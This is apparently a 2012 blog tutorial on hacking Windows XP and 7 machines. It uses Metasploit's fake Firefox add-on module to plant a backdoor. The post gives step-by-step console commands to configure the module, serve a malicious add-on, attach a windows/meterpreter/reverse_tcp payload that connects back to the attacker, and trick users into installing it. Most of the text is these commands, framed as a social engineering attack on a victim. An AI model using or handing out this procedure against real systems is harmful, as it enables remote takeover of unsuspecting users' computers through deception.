Thursday, June 14, 2012

Hacking Windows 7 & Xp with Fake Firefox add-on (XPI) : Metasploit Tutorials

>What am i doing?
1. Create a fake firefox extension with Metasploit that creates a backdoor from the victim system.
2. Trick users into installing the add-on
3. Break into the Target Machine.

*. As usual, you have to set up two virutal machines(VM ) in your virtualbox namely "Target"and "Attacker".
*. Install the windows xp or 7 in the Target VM.
*. Install the Backtrack in the Attacker VM.

>Part I: Update the Metasploit-

As we are going to use the latest module, you are advised to update the Metasploit modules. Don't know how to do this? No need to worry!
*. Open the Terminal
*. type msfupdate
*. This will update the Metasploit with latest modules..

>Part II: Configuring settings in Metasploit for the fake-addon exploit-

*Step 1:
Open the Terminal and type " msfconsole " to get the Metasploit console.
*Step 2:
Type " use exploit/multi/browser/firefox_xpi_bootstrapped_addon " in the console.
*Step 3:
Now we have to know the list of settings available for this exploit module. In order to get the list, you can type "show options" in the console.

*Step 4: Configurations-

Let us configure the setting for the exploit.
type the commands..

Command: set addonname fake

Details: Name for the fake add-on. you can change the "fake" to any name.

Command: set SRVHOST

Details: Here the is the ip of Backtrack . You can get this ip by simply typing the "ifconfig" in the terminal.

Command: set SRVPORT 80

Details: Our server is going to be accessed via the port 80(default port)

Command: set URIPATH fakeEx

Details: The path in which the fake add-on will be available to download. For ex: http://192.1xx.5x.xx/fakeaddon

Command: set LHOST

Details: Here the is the ip of Backtrack. You can get this ip by simply typing the "ifconfig" in the terminal.

>Step 5: Payload-

As usual, we can use Reverse Tcp payload for this attack also. So type the following command in the Metasploit console:

set payload windows/meterpreter/reverse_tcp

>Part III: Social Engineering Attack-

Successfully configured the settings for the exploit, what else? let us launch the exploit.

Type "exploit" in the console.
Now the exploit is started. Our fake add-on is available at,"http://192.1xx.5x.xx/fakeaddon".

Once victim visit the link, it will ask user to install the add-on in order to view the page. Once user install the add-on, the system will be backdoor-ed.

Now , You can control the victim system from meterpreter..


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